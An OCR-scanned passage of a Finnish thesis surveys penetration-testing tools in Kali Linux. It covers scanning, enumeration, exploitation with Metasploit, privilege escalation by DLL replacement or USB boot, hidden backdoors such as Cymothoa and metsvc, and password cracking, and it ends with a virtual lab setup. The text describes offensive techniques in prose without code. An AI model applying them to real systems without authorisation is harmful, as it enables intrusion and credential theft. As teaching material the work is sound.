samanaikaisesti. Hping3-tytkalu on komentorivilta toimiva pakettigeneraattori- ja analy-
sointitydkalu. Tydkalun kyky luoda kustomoituja verkkopaketteja mahdollistaa TCP/IP-
jaturvallisuustestaukseen, kuten porttien skannaamiseen, palomuurisdantdjen seka ver-
kon suorituskyvyn testauksen. Nping-tyokalun erona on kykenevaisyys tukea useita koh-
dekoneita ja porttiraataldintia. Porttirdataloinnilla tarkoitetaan, ettd tydkalussa voidaan

valita, mihin portteihin ja milla tavoin tyékalun toimintoja voidaan kohdistaa.

Kali Linuxissa nping tulee Nmap-paketin mukana. IPv6-osoiteymparisttn tutkimiseen tar-
koitettuja tyokaluja ovat alive6, detect-new-ip6 ja passive_discovery6. Alive6-tydkalu ky-
kenee lahettamaan ICMPv6-tiedustelun ja pystyy kuuntelemaan saamiaan vastauksia.
"Detect-new-ip6” —tydkalua voidaan kayttaa, kun halutaan havaita IPv6-verkkoon kytkey-
tyva laite. Passive_discovery6 on hyodyllinen tydkalu, kun halutaan l6ytaa IPv6-osoite
IDS-jarjestelmien huomaamatta. TyOkalu odottaa ARP-pyyntdd/vastausta valvomalla
verkkoa, jonka jalkeen kartoittaa vastaavat isannat. Nbtscan-tydkalu on tarkoitettu Win-
dows-ympaéristoa varten, silla tydkalun kaytto tuottaa raportin, jossa ilmenevat koneen
IP-osoite, avoinna olevat palvelut, sisdén-kirjautuneet kayttajat ja vastaavien koneiden
MAC-osoitteet. (Ali ym. 2014, 122-133.)
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Kohteen luettelointi on prosessi, jota kaytetaan loytamaan tietoa porteista, kayttojarjes-
telmista ja kohdekoneissa saatavista palveluista. Edella mainittu prosessi yleensa teh-
daan, kun ensin on loydetty saatavilla olevat kohdekoneet. Luettelointiprosessin tavoit-
teena on keréta tietoa kohdejarjestelman saatavilla olevista palveluista. Luettelointipro-
sessista saatua tietoa kaytetaan identifioimaan haavoittuvuudet, jotka I6ytyvat luette-
loidusta palveluista. (Ali ym. 2016, 159.)

Yksinkertaisimmillaan porttiskannaus voidaan maaritella metodina, joka maarittdd TCP-
ja UDP-porttien tilan kohdekoneella. Avoin portti voi tarkoittaa, etté kyseisella portilla on
verkkopalvelu kuuntelemassa porttia ja palvelu on kaytettavissa, kun taas suljettu portti
tarkoittaa, etté kuuntelevaa verkkopalvelua ei kyseiselta portilta |16ydy. Portin tilan saa-
misen jalkeen hyokkaaja tarkistaa verkkopalvelun ohjelmiston versiotiedon ja etsii haa-
voittuvuuden kyseiselle ohjelmiston versiolle. TCP/IP-protokollapaketti sisaltda tusinoit-
tain erilaisia protokollia, joista tarkeimpia ovat TCP ja IP. IP-protokolla tarjoaa osoitteis-
tamisen, pakettien reitittdmisen ja muita toimintoja koneiden yhdistdmiseen, kun taas
TCP-protokollan vastuuna on hallita yhteyksia ja tarjota luotettavaa tiedonvalitysta jar-
jestelmien prosessien valilla. IP-protokolla sijoittuu OSI-mallin kolmanteen kerrokseen,
verkkokerrokseen, kun taas TCP-protokolla kuuluu OSI-mallin neljanteen kerrokseen,
siirtoprotokollaan. TCP-protokollan ohella UDP-protokolla on siirtokerroksen avainproto-
kollia. (Ali, Allen, Heriyanto & Johansen 2016, 160)

TCP- ja UDP-protokollat kayttaytyvat eri tavoin portteja skannattaessa. TCP-protokollaa
hyddyntamalla lahetetddn SYN-paketti kohdekoneeseen, hyokkaaja kohtaa nelja eri
vaihtoehtoa. Ensimmaisessa vaihtoehdossa kohdekone vastaa SYN+ACK-paketilla,
joka kertoo kohdekoneen portin olevan auki. Toisessa vaihtoehdossa kohdekone lahet-
taa takaisin paketin RST- ja ACK-bittisarjalla, joka kertoo portin olevan suljettu. Kolman-
nessa vaihtoehdossa kohdekone lahettda ICMP-viestin, kuten ”ICMP Port Unreachable”.
Viesti tarkoittaa, ettei porttiin ole paasya, koska palomuuri estda paasyn. Neljannessa
tapauksessa kohdekone ei lahetd mitdéan takaisin. Tama voi tarkoittaa, ettei yksikaan
verkkopalvelu kuuntele kokeiltua porttia tai palomuuri estaa tiedustelijan SYN-paketin

aanettdmasti eli jattamalla vastaamatta. (Ali ym. 2016, 164.)

UDP-portteja skannattaessa kohdekone kayttaytyy eri tavalla. Testaaja voi kohdata kol-
menlaista kaytosta. Ensimmaisessa tavassa kohdekone vastaa UDP-paketilla. Tama il-
moittaa kohdekoneen portin olevan auki. Toisessa vaihtoehdossa kohdekone lahettda
viestin ICMP Port Unreachable”, jolloin voidaan todeta portin olevan kiinni. Toisaalta jos

viestissa lukee toisin, palomuuri suodattaa mahdollisesti liikennettd. Kolmannella tavalla,
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jos kohdekone ei lahetad mitdan takaisin, kyseinen tilanne voi tarkoittaa portin olevan sul-
jettu, sisddnpain menevat UDP-paketit on estetty tai vastaus on estetty. UDP-porttiskan-
naus on vahemman luotettavaa, silla joskus UDP-portti on auki, mutta palvelu avoimessa
portissa odottaa vain erityista tietosisaltéa jattaen vastaamatta muihin yhteydenottoihin.
(Aliym. 2016, 165-166.)

Kali Linuxissa olevia porttiskannaustytkaluja ovat Nmap, Unicornscan, Zenmap ja
Amap. Nmap on kattava, ominaisuus-, tunnisterikas porttiskanneri, jota tietoturvayhteist
kayttaa laajalti. Unicornscan on tiedonkeruu- ja korrelaatiotekniikan tydkalu. Unicornscan
on hyodyllinen tuottamaan arsykkeita ja mittaamaan vastauksia TCP/IP-laitteelta. Zen-
map on Nmapin graafinen kayttoliittyma. Zenmap on interaktiivinen, kykenee tekemaan
vertailua kahden skannauksen valilla, pitaa kirjaa skannauksista, voi tallentaa skannaus-
asetukset profiiliin ja nayttaa aina komennon, jolla Zenmap kulloinkin toimii. Amap on
tyokalu, jota kaytetaan tarkistamaan kaynnissa oleva sovellus tietyssa portissa. Amap
toimii lahettamalla laukaisinpaketin portille ja vertaamalla vastausta tietokantaansa. (Ali
ym. 2016, 167,191-192, 198.)

Kayttdjarjestelman tunnistaminen ja palveluiden luettelointi

Kohdekoneen saatavilla olon vahvistamisen jalkeen voidaan aloittaa kohdekoneen kayt-
tojarjestelman selvittaminen. Prosessia kutsutaan kayttojarjestelman jaljittamiseksi.
Kayttojarjestelman jaljittaminen voidaan jakaa kahteen kategoriaan, aktiiviseen ja pas-
siiviseen. Aktiivisessa metodissa tytkalu lahettdd verkkopaketteja kohdekoneeseen,
jonka jalkeen maarittdd kohdekoneen kayttdjarjestelman pohjautuen kohdekoneen vas-
tauksesta tehtyyn analyysiin. Lahestymistavan hy6tyna on tulosten valittémyys, kun taas
kaantopuolena kohdekone voi havaita tiedusteluyritykset. Passiivisen metodin tarkoituk-
sena on kumota aktiivisen metodin kaantépuoli. Passiivisen metodin etuna on, etta se
rajoittaa kohdekoneen vililla kanssakaymistd, haivyttden nain havaituksi tulemisen ris-

kia. Merkittavin passiivisen jaljittAmisen haitta on prosessin hitaus. (Ali ym. 2016, 153.)

POf-tyokalua kaytetaan jaljittamaan kayttojarjestelma passiivisesti. POf soveltuu tilantei-
siin, joissa kohdekone yhdistaa hyokkaajaan koneeseen, joissa hyokkaaja yhdistaéa koh-
dekoneeseen, jossa kohdekoneeseen ei voi yhdistaa tai kahta konetta, joiden valista
likennettd hyokkagja pystyy seuraamaan. POf-tydkalu toimii analysoimalla TCP-paket-
teja verkkoaktiviteettien aikana. Analysoinnin jalkeen pOf ker&a tilastot erityisista pake-
teista, joita ei ole standardisoitu yhdenkaan yhtion toimesta ja vertaa niita tietokannas-

saan oleviin statistiikkoihin. Aktiivisen jaljittamisen puolta Kali Linuxissa vastaa Nmap.
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Kayttojarjestelmaa jaljittdessa Nmap lahettda sarjan paketteja etédkoneeseen ja tutkii

vastaukset vertaamalla niitd omaan tunnistetietokantaansa. (Ali ym. 2016, 154, 167.)

Windows-ympaéristda testattaessa helpoin tapa kerata tietoa ymparistésta on kayttaa
Server Message Block -protokollan luettelointity6kalua, kuten ntbscania. Ntbscan-tytka-
lua voidaan kayttaa IP-osoitteiden skannaamiseen NetBIOS-nimitiedolle. Ntbscan tuot-
taa dokumentin, josta kayvat ilmi IP-osoite, NetBIOS-nimen, saatavilla olevat palvelut,
sisdankirjautuneen kayttajanimen ja MAC-osoitteen vastaavista koneista. Haittapuolena
ntbscan-tydkalu tuottaa huomattavan maaran verkkoliikennetta, jonka kohdekone voi tal-
lettaa lokitietoihin. (Ali ym. 2016, 199.)

Virheellisesti konfiguroitu SNMP-laite (Simple Network Monitoring Protocol) sallii asetus-
ten lukemisen seka muuttamisen ja saattaa paljastaa tarkeda informaatiota. SNMP-pro-
tokollan luettelointiin soveltuvia tytkaluja ovat onesixtyone ja snmpcheck. Onesixtyone-
tyokalua voidaan kayttad SNMP-skannerina loytamaan, 16ytyyko laitteesta SNMP-jonoa.
Tyokalu eroaa vertaisistaan lahettamalla kaikki SNMP-pyynnét niin nopeasti kuin vain
pystyy. (Ali ym. 2016, 201.)

Tavanomaiset haavoittuvuuden arviointitydkalut eivéat ole kykenevia suorittamaan oikeaa
protokollakeskusteluja VPN-laitteiden kanssa, jotka tukevat IKE:a (Internet Key Ex-
change). Tilanteissa, joissa IKE on kaytossa, on valttamatonta kayttaa ylimaaraisia tyo-
kalupaketteja, jotka pystyvat suorittamaan tarkkaa jaljittamistd, lopettamaan kuvioita ja
tunnistamaan kayttssa olevia autentikointimekanismeja. Tunnistamalla VPN-laitteen att-
ribuutit, heikkoudet kyetdan loytdmaan juoksevista koodiversioista kuin myds tunnistau-
tumistyypit kuten etukateen jaetut avaimet. VPN voidaan jakaa kolmeen eri ryhmaan:
IPsec-pohjaiseen VPN:aan, OpenVPN:&an ja SSL-pohjaiseen VPN:aan. Kali Linuxissa
on "ike-scan’-niminen tytkalu, jota voidaan kayttaa loytamaan, jaljittamaan ja testaa-
maan IPsec-pohjaisia VPN-jarjestelmia. Tydkalu on tarpeellinen, silla tavanomaiset port-
tiskannerit eivat kykene loytamaan IPsec-pohjaista VPN-palvelinta, koska kyseiset pal-
velimet eivat kuuntele TCP-portteja, eivat vastaa UDP-paketteihin, kuten ICMP-viestei-
hin. Ainut keino I6ytéaa IPsec-pohjainen VPN-palvelin on kayttaa tydkalua, joka kykenee
l[ahettdmaan oikein alustetun IKE-paketin ja nayttamaan minka tahansa kyseiselta pal-
velimelta saadun vastauksen. (Penetration Testing Execution Standard 2014a; Ali ym.
2016, 204.)
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Verkon kartoittaminen

Maltego on tiedonkeruutyOkalu, jota voidaan kayttaa verkon kartoittamiseen. Maltegoa
voidaan myos kayttaa kerdamaan tietoa inmisista ja yrityksisté eri lahteiden kautta. Mal-
tegon kayttaminen edellyttéa rekisterditymista kehittdjien verkkosivuilla. Maltego luo ke-
raamistaéan tiedoista kohteiden relaatiota esittdvan kartan, jossa keratty tieto on sijoiteltu
havainnoivasti yhteen kohteiden kanssa. Entiteetteihin on mahdollista lisata omia muis-
tiinpanoja ja liittda tiedostoja. Kaupallinen versio mahdollistaa raporttien ja kuvaajien luo-
misen kartoista. Maltegoa voidaan kayttaa kokoamaan yhteen kaikki muistiinpanot ja ke-

ratty tieto murtautumistestauksesta. (Halton, Weaver 2016, 65-71.)

3.2 Haavoittuvuuksien arviointi

Haavoittuvuuksien kartoittaminen on prosessi, jossa tunnistetaan ja analysoidaan Kkriitti-
set turvallisuusongelmat kohdeymparistdssa. Haavoittuvuuksien kartoittamisesta kayte-
taan joskus termia haavoittuvuuksien arviointi. Tiedonkeruu-, [6ytamis- ja luetteloimisvai-
heen jalkeen on aika tutkia kohdeinfrastruktuurista 16ytyvid haavoittuvuuksia, jotka voisi-
vat johtaa kohteen vaarantumiseen ja luottamuksellisuuden, eheyden ja saatavuuden
loukkaamiseen kohdekoneella. Paikalliset ja etahaavoittuvuudet voidaan jakaa kolmeen
luokkaan, suunnitteluhaavoittuvuuksiin, toteutushaavoittuvuuksiin ja toimintahaavoittu-
vuuksiin. Suunnitteluhaavoittuvuudet 16ytyvat ohjelmiston méaarityksistd. Toteutushaa-
voittuvuudet ovat teknisia tietoturvahairioita, jotka I6ytyvat jarjestelmén koodista. Toimin-
nalliset haavoittuvuudet iimenevat sopimattomasta konfiguroinnista ja jarjestelman sijoit-
tamisesta tiettyyn ymparistoon. Useat tahot ovat yrittdneet luokitella haavoittuvuuksia,
mutta toistaiseksi ei ole onnistuttu luomaan luokittelua, joka kattaisi kaikki haavoittuvuu-
det. HP Software Security, Seven Pernicious Kingdoms, Common Weakness Enumera-
tion, OWASP Top 10, Klockwork, Grammatech ja WASC Threat Classification ovat pyrki-
neet haavoittuvuuksien luokitteluun. Luokitteluiden paatehtavana on jarjestaa turvalli-
suushaavoittuvuuksien sarjat, joita tietoturvan harjoittajat ja kehittajat voivat kayttaa tun-
nistamaan tiettyja virheit, joilla voi olla vaikutusta jarjestelman turvallisuuteen. (Ali, Al-
len, Heriyanto & Johansen 2016, 209, 212)

Haavoittuvuuksien automaattiseen skannaamiseen tarkoitettuja tydkaluja ovat Nessus,
Qualys, Nexpose ja OpenVAS. Naista tyokaluista OpenVAS tulee Kali Linux -kayttojar-
jestelméssa esiasennettuna. OpenVAS kykenee |0ytdmé&éan haavoittuvuudet ja tuotta-

maan jarjestelmasta raportin. OpenVAS on kehys, johon on sullottu useita palveluita ja
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tyokaluja kattavalla ja tehokkaalla haavoittuvuuksien skannauskyvylla. OpenVAS paivit-
taa viikoittaisesti heidan haavoittuvuuslistaansa, joten OpenVAS on yleensa tarpeellista
pdivittda ennen automatisoitua skannausta. OpenVASiin kirjaudutaan verkkokayttoliitty-
man kautta. Kohde skannataan antamalla aliverkon osoite tai IP-osoite. Skannauksia
voidaan kustomoida ja asettaa ajamaan itsensa lapi tasaisin véliajoin. Skannaus tuottaa
raportin, jossa on luetteloitu kohteen haavoittuvuudet riskin mukaan. (Halton & Weaver
2016, 59, 61, 63; Girdhar & Shah 2017, 165.)

3.3 Haavoittuvuuksien hyédyntaminen ja tunkeutuminen

Kohteeseen tunkeutuminen on yksi osa-alue, joka erottaa tunkeutumistestauksen haa-
voittuvuuksien arvioinnista. Haavoittuvuuksien loytamisen jalkeen |6ydokset validoidaan
ja hyddynnetdan tunkeutumalla jarjestelmaan yrittden samalla saavuttaa taysi kontrolli
kohteeseen, hankkia lisatietoa tai nakyvyytta tahdattyyn verkkoon ja jarjestelmiin ver-
kossa. Ymmartamalla tietyn ohjelman tai laitteen kyvyt on mahdollista hankkia lahtdpiste
mahdollisesti olemassa olevien haavoittuvuuksien ymmartamiseksi. Turvallisuusanalyy-
sin tekoon vaaditaan ohjelmointiosaamista, takaisinmallinnusta, instrumentoituja tyoka-
luja ja hyddynnettavyyden seka tietosisallon rakentamista. Ohjelmointiosaamiseen kuu-
luu perustietojen osaamisen ohjelmointikielistd, mutta voi mahdollisesti joutua kasittele-
maan edistyneitd kasitteita suorittimista, jarjestelman muistista, puskureista, osoittajista,
tietotyypeistd, rekistereistd ja valimuistista. Kyseiset kéasitteet voidaan toteuttaa
C/C++:lla, Pythonilla, Perlilla ja Assemblylla. Takaisinmallinnus on keino, jolla voidaan
johtaa koodia halutusta jarjestelméasta ilman etukéteistietoa sen sisdisesta toiminnasta.
Johdetusta koodista voidaan etsia virheenhallintaratkaisuja, huonosti suunniteltuja funk-
tioita, protokollia ja testata rajaehtoja. Takaisinmallinnus jaetaan kahteen osioon, lahde-
koodin ja binaarien tarkasteluun. Paasy lahdekoodiin mahdollistaa turvallisuusanalyysin
teon automatisoidusti. Vaihtoehtoisesti lahdekoodia voidaan tutkia kasin, jotta voidaan
poimia olosuhteet, joissa haavoittuvuus voidaan laukaista. Binaarien tarkastelu puoles-
taan yksinkertaistaa takaisinmallinnuksen tehtéavaa tapauksissa, joissa sovellus on ole-
massa ilman lahdekoodia. Binaarianalyysissa tyotéa helpottavat purkuohjelmat ja kaan-
tétulkit. Purkuohjelmat generoivat kaannettyd koodia kootusta binaariohjelmasta, kun
taas kaantotulkit generoivat korkean tason kielen koodia kootusta binaariohjelmasta.
Instrumentoidut tydkalut tarjoavat yhtenaisen ympariston testaustarkoituksiin. Niihin kuu-
luvat debuggerit, datanpoistajat, datainjektorit, profiloijat, virtausanalysaattorit ja muistin-
valvojat. (Ali ym. 2016, 267—-269.)
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Kali Linuxissa on tunkeutumista edistavia tydkaluja, kuten Netcat, smbclient, Metasploit
ja exploit-db. Netcat on tydkalu, jota voidaan kayttdd luettelointi- ja tunkeutumisvai-
heessa. Netcatia voidaan kayttaa myos tiedostonsiirtoon ja takaporttien luontiin. Exploit-
db on tietokanta, josta I6ytyy kirjava maara haavoittuvuuksia ja todistavaa koodia, joka
patevoittaa hyddyntajien toimivuuden. Kali Linuxiin itsessaan on siséllytetty paikallinen
exploit-db -tietokanta, joka l6ytyy my6s internetista. Kali Linuxin tietokantaa paéasee sii-
vildimaan komennolla searchsploit. C-kielilla kirjoitetut hyddyntajat pitaa kaantaa, ennen
kuin ne voidaan valjastaa tunkeutumiseen. Ennen k&&ntamista koodi on tarpeellista
kayda lavitse, ettei eteen tule ikavia yllatyksia. Tama johtuu siita, ettd osa haavoittuvuu-
den hyodyntajan tekijoista on voinut tahallisesti lisata virheita, ylimaaraisia merkkeja, toi-
mimatonta koodia ja vaaria alustuksia, jotta haavoittuvuuden hyddyntgjan kaytto vaikeu-
tuisi aloittelijoille ja vahentdisi harrastelijahakkereiden haitantekoa. Myds kayttgjalle it-
selleen haitallisen koodin suorittamisen pystyy estamaan tutkimalla etukateen haavoit-
tuvuuden hyddyntéjan skriptid, mikali kayttajalta 16ytyy asiantuntemusta ohjelmoinnista
tarpeeksi. (Allen & Cardwell 2016, 153-156, 158,160.)

Kali Linuxissa on esiasennettuna Metasploit, jota voidaan kayttdd tunkeutumiseen.
Metasploitista on kaksi versiota, ilmainen ja kaupallinen Pro-versio. Molemmat versiot
toimivat komentoriviltd samoin. Pro-version etuna on web-kayttoliittyma, raportointityo-
kalut ja tyokalu laajamittaiseen verkkotestaukseen. Kaupallinen versio kykenee auto-
maattisesti poimimaan kohteet haavoittuvuusraportista ja ajamaan moduuleita automa-
tisoidusti kohdekoneita vastaan. (Halton & Weaver 2016, 83.)

3.4 Kayttdoikeuksien korottaminen

Kayttboikeuksien korottaminen on prosessi, jolla nostetaan paasyoikeuksien tasoa ko-
neessa tai verkossa. Tyypillisesti kayttdoikeuksien korottamisella viitataan paasya paa-
hakemistoon tai jarjestelmaan. Kayttdoikeuksien korotus edella mainittuun tilaan on
hyokkaajaan perimmainen tavoite. Ylimman paasyoikeuksien tason saavuttamisen jal-
keen kaikki tieto ja jarjestelmanhallinta ovat tunkeutujan hallittavissa. (Halton & Weaver
2016, 243.)

Kayttboikeuksien korottamisessa voidaan hyddyntéa fyysista laitteeseen paasya, Metas-
ploitia, itsendista tydkalua tai Windowsin taipuvuutta tulkita useita ajotiedostotyyppeja,

kunhan kyseisiin tiedostomuotoihin on kirjoitettu ajettavaa koodia. Metasploitia kaytta-
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malla kayttdoikeuksien korottaminen jarjestelmanvalvojaksi tapahtuu yhdella komen-
nolla, edellyttaen, ettad jarjestelméaén on onnistuttu tunkeutumaan haavoittuvuuksia hy6-
dyntaen. Windowsin ajotiedostoihin liittyvaa heikkoutta voidaan hyédyntad muun mu-
assa korvaamalla standardi dll-tiedosto erityisesti sorvatulla dll-tiedostolla, jolloin haitta-
ohjelman piilottaminen nékyville onnistuu. Riippuvuussuhdeongelmia ilmenee vasta, kun
ohjelma paivitetdan uusimpaan versioon, joka sisaltaa aidon version dll-tiedostosta. It-
senaisia tyokaluja kayttdoikeuksien korottamisen loytyy luotetuista lahteista, kuten Ex-
ploit-db:std, joka l6ytyy myos Kali Linuxista paikallisena tietokantana. Kali Linuxia voi-
daan kayttaa myos palautustyokaluna, jolloin Kali Linux on asennettu kaynnistyvélle tie-
donsiirtomedialle. Kayttdoikeuksien korottamiseen riittéad, ettad kone kaynnistetaan USB-
asemalta, johon Kali Linux on asennettu. Windows-kansioon on taydet jarjestelméanval-
vojan oikeudet oletuksena, jolloin tiedostojen kopioiminen, salasanasotkujen haku ja re-
kisterin muokkaaminen on mahdollista. (Halton & Weaver 2016, 243, 246, 256, 261.)

3.5 Murtautumisen jalkivaihe

Tunkeutumisen jalkivaiheessa on mahdollista luoda jatkuva paésy jarjestelmaan taka-
portin avulla, vaikka hyvéaksikaytetty aukko paikattaisiin myéhemmin. Takaportin etuna
on, etta tavallisia kirjautumistunnisteita ei tarvita ja sisaanpaasy on huomaamaton. Kali
Linuxissa takaportin luomiseen kykenevia tyokaluja ovat Cymothoa, Intersect ja Me-

terpreter.

Cymothoa on tyOkalu, joka mahdollistaa komentotulkkikoodin injektoimisen olemassa
olevaan prosessiin, joka naamioi haitallisen koodin tavalliseksi prosessiksi. Jarjestelma-
prosessiksi naamioidun takaportin pitaisi kyeta rinnakkaiseloon ruiskutetun prosessin
kanssa, minka ei pitaisi herattda jarjestelmanvalvojan epailyksia. Mikali kohdejarjestel-
man turvatoimet valvovat vain ajotiedostojen eheyttd, mutta eivat tarkista muistia, jarjes-
telman takaportti pysyy huomaamattomana. Prosessiin injektoidun takaoven haittapuo-
lena on, ettd paasy jarjestelmaan havida, mikali prosessi lopetetaan tai kohdekone kayn-
nistetdan uudelleen. (Ali ym. 2016, 357-358, 360.)

Intersect on tydkalu, jolla voidaan automatisoida tunkeutumisen jalkivaiheen tehtavia.
Tunkeutumisen jalkivaiheeseen mukautetut skriptit on jaoteltu erillisiin moduuleihin. In-
tersectin oletusmoduulit kykenevat keraamaan tunnistetiedot, etsimaan jarjestelma- ja

sovellusasetuksia seka tiettyja sovelluksia, luetteloimaan p&éalla olevat iséntékoneet ja
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keraamaan IP-osoitteet, kayttdjarjestelman, yrittdvat 16ytad lahdekoodivarastot, 10yta-
maan avoimet yhteydet tietovalineiden valilla, skannaamaan portit spesifioidusta IP-
osoitteesta, tarkistamaan annetun maaran portteja loytaakseen ulospain lahtevat portit
ja lahettamaan hajautustiedoston eta-XML-RPC-palvelimelle murrettavaksi. Paasyn yl-
lapitamiseksi tarkoitettu skriptitiedosto luodaan aluksi valitsemalla haluttu moduuli, jonka
jalkeen maaritetddn moduulin tarvitsemat muuttuja ja rakennetaan skripti. (Ali ym. 2016,
360-362.)

Kali Linuxissa Metasploitin siséaltdma meterpreter-moduuli siséltda metsvc-nimisen taka-
portin, joka mahdollistaa koska tahansa paasyn komentotulkkiin. Kyseinen takaportti ei
vaadi tunnistautumista, jolloin kuka tahansa takaporttiin porttiin kytkeytyva paasee si-
saan. (Ali ym. 2016, 364.)

3.6 Salasanahyokkéaykset

Salasanapohjaisten hyokkaysten ymmartaminen on avaintaito jokaiselle murtautumis-
testaajalle. Murtautumistestaajan tehtavana on Ioytaa jokainen heikko ja yleinen sala-
sana, joka mahdollisesti on olemassa verkossa ennen kuin joku muu murtaa kyseiset
salasanat pahoin aikein. Salasanahyokkaystyypit voidaan jakaa kahteen osaan: online-
hyokkayksiin ja offline-hydkkayksiin. Online-hydkkayksessa hyokkaaja yrittaa kirjautua
etakoneeseen arvaamalla tunnistetiedot, mik& saattaa laukaista etdkoneen torjumaan
hyokkayskoneen useiden epéonnistuneiden yritysten jalkeen. Offline-hydkkayksessa
hyokkaaja hankkii salasanan hajautustiedoston kohdekoneesta ja kayttdd salasanan-
murto-ohjelmaa murtaakseen salasanan. Sateenkaaritaulut ja sanalistat ovat minka ta-
hansa salasananmurto-ohjelman tukipilareina. Sateenkaaritaulut ovat etukateen lasket-
tuja hajautustaulukoita tietyntyyppisella koodausfunktiolla. Hajautustaulukko on tau-
lukko, johon on talletettu jokaisen sanan hajautus erikseen. Sanakirjahytkkays pyrkii ar-
vaamaan salasanan kayttamalla ennalta luotua sanalistaa. Raakahyokkays yrittda ar-
vata jokaisen mahdollisen merkkikombinaation, mikd kasvattaa hydkkayksen kayntiai-
kaa. (Beltrame 2017, 130-131; Ali ym. 2016, 311.)

Kali Linuxissa salasanahytkkayksiin soveltuvia tydkaluja ovat Crunch, John the Ripper,
Hydra, samdump2, Hashcat, RainbowCrack, OphCrack, Mimikatz, CeWL ja Medusa.
Offline-hyokkayksiin tarkoitettuja tyokaluja ovat John the Ripper, Crunch, samdump?2,
Hashcat, RainbowCrack ja OphCrack. Online-hytkkayksia varten tarkoitettuja tyokaluja

ovat Medusa, Hydra, CeWL ja Mimikatz.
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Hashcat on ilmainen monisaikeinen salasananmurto-ohjelma, joka kayttda murtamiseen
joko suoritinta tai naytdnohjainta. Talla hetkella Hashcat tukee 223:n erilaisen algoritmin
murtamista. Hashcat tarvitsee toimiakseen sanakirjan. RainbowCrack on tydkalu, jolla
murretaan salasanan hajautustiedosto kayttamalla sateenkaaritauluja. Kali Linux sisal-
taa kolme RainbowCrack-tytkalua, joiden ajaminen jarjestyksessa on vaatimus Rain-
bowCrackin toimimiselle. RainbowCrackin vaatimat kolme tydkalua ovat rtgen, rtsort ja
rcrack. Ensimmainen tyokalun teettdmaa prosessia kutsutaan esilaskentavaiheeksi,
jossa luodaan sateenkaaritaulut. Sateenkaaritaulujen luominen on aikaa vieva prosessi,
mutta valmiiden taulujen kayttdminen on huomattavasti nopeampaa kuin raakahytkkaa-
minen. Seuraavana prosessiketjussa on rtsort, joka lajittelee rtgen-tyokalun luomat sa-
teenkaaritaulut. Lopuksi rcrack etsii sateenkaaritauluista hajautusarvoa vastaavan ha-
jautusarvon. (Ali ym. 2016, 313—-317; Hashcat 2019.)

Samdump2 mahdollistaa salasanahajautustiedoston poimimisen Windows-pohjaisista
kayttojarjestelmista ilman jarjestelmaavainta (SysKey), jolla salataan hajautukset tieto-
turvatilin hallintaohjelman (SAM) tiedostossa. Poimittua tiedostoa voidaan kayttaa edel-
leen salasananmurto-ohjelmissa. John the Ripper on salasananmurto-ohjelma, joka tu-
kee yli 40 salasananhajautustyyppid. Tyokalu tarvitsee toimiakseen salasanatiedostot.
Johnny on graafinen kayttoliittyma John the Ripperille, mika helpottaa salasananmurtoa
havainnollistamalla prosessia. Ophcrack on sateenkaaritaulupohjainen salasananmur-
taja, jota voidaan kayttdd murtamaan Windowsin LM- ja NTLM-salasanahajautukset.
Ophcrackista on saatavilla komentoriviversio ja graafinen kayttoliittym&. Ophcrack toimii
samalla periaatteella kuin RainbowCrack, tytkalu kayttaa hyddykseen aika - muistin
kompromissimetodia. Ophcrack tarvitsee toimiakseen sateenkaaritauluja, joita voi mm.
hankkia tyokalun kotisivuilta. Crunch on tydkalu, jolla kayttdja pystyy asettamillaan kri-
teereillda luomaan sanalistoja. Kyseista sanalistaa pystytaan hyédyntamaan salasanan-

murtoprosessin aikana. (Ali ym. 2016, 322—-330.)

Online-hyokkayksiin tarkoitettuja tyokaluja kaytetaan, kun ollaan yhdistettynd kohdeko-
neeseen. CeWL on mukautettujen sanalistojen generaattori, joka skannaa kohde-URL-
osoitteen ja luo skannauksen pohjalta uniikin listan sanoista, jotka I6ytyvat annetusta
URL:sta. Hydra on tytkaluja, jota voidaan kayttaa arvaamaan tai murtamaan kayttaja-
tunnus ja salasana. Hydra tukee useita verkkoprotokollia. Hydra pyrkii kirjautumaan si-

saan isantékoneeseen annetuilla kirjautumistiedoilla kayttamalla 16 rinnakkaisyhteytta.
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Hydrasta on tarjolla myds graafinen kayttéliittyma, xHydra. Medusa on toinen Hydran
rinnalla olevan salasananmurto-ohjelma. Medusa on nopea, modulaarinen ja rinnakkais-
toiminnaltaan massiivinen. Mimikatz on tunkeutumisen jalkivaiheeseen soveltuva tyo-
kalu, joka tarjoaa tietoturvatestaajille kyvyn sdilyttdd paasy ja vaarantaa tunnistetiedot,
kunhan jalansija jarjestelmésta on jo saatu. Mimikatz on itsendinen ohjelma, joka on

osaksi rakennettu Metasploitia. (Ali ym. 2016, 331-339.)
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4 TOIMEKSIANNON TOTEUTUS

Testiymparistt koostui virtuaalikoneista, jotka olivat kytkeytyneena samaan virtuaaliseen
sisaverkkoon. Virtualisointialustaksi valittiin Oraclen VirtualBox, koska allekirjoittaneella
oli jo kokemusta VMwaren virtualisointiohjelmista ja halua laajentaa kokemuksiaan. Koh-
devirtuaalikoneet jatettiin paivittamatta ja palveluita avattiin portteihin mahdollisimman
laajan hyokkayspinta-alan saamiseksi. Kohdealustoiksi valittiin Windowsin tyopoytaver-
sioiksi tarkoitetut kayttojarjestelmat, joita Microsoft viela tukee paivityksilla. Kohdealus-
toina ovat Windows 7, Windows 8.1 ja Windows 10. Hydkkaysalustaksi valittiin Kali Li-

nux.

Testiympadristdn luomisen toteutus lahti liikkeelle lataamalla tarvittavat tiedostot, kuten
levykuvat ja virtualisointiohjelma. Virtualisointiohjelman asennuksen jélkeen aloitettiin
virtuaalikoneiden luonti, johon kaytettiin levykuvia. Virtuaalikoneita asentaessa tuli ottaa
huomioon kayttojarjestelmien vaatimat speksit, jotta virtuaalikoneet toimivat takkuile-
matta. Speksien maarittelemisen jalkeen aloitettiin urakka asentamalla kayttdjarjestel-

mat ja konfiguroimalla tarvitut ohjelmat kayttokelpoisiksi.

Virtuaaliymparistdsta dokumentoitiin ylos excel-taulukkoon virtuaalikoneet, koneiden ni-

met, kayttajatunnukset, salasanat, domainit ja osoitetiedot.

Toimeksianto aloitettiin luomalla testiymparistd haavoittuvaisille koneille. Testiympéris-
ton luomisen jalkeen aloitettiin testaaminen, milla keinoilla oli mahdollista paasta sisaan

jarjestelmiin. Kuvasta 2 kay ilmi virtuaalisen verkon asetukset.

|IPvE DNS palvelimet

Fec0:0:04ff::1%1
fec:0:04f: 231
Fec0:0:04ff::3%1

1 3

Kuva 2. Virtuaaliverkon asetukset.

MNetBIOS TCR/IPnkaut . Kyl
Yhieyden sisainen IPvE-
IPvéolelushdyskanava
IPVE DNS -palveimet

feB0:350e-1237 Bbed 2al%3

fec0:0:0:48::1%1
e 0:0:0:AF::2%1
fec0:0:0AF::3%1
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Verkkoyhteyden tiedot @ L Verkkoyhteyden edot x
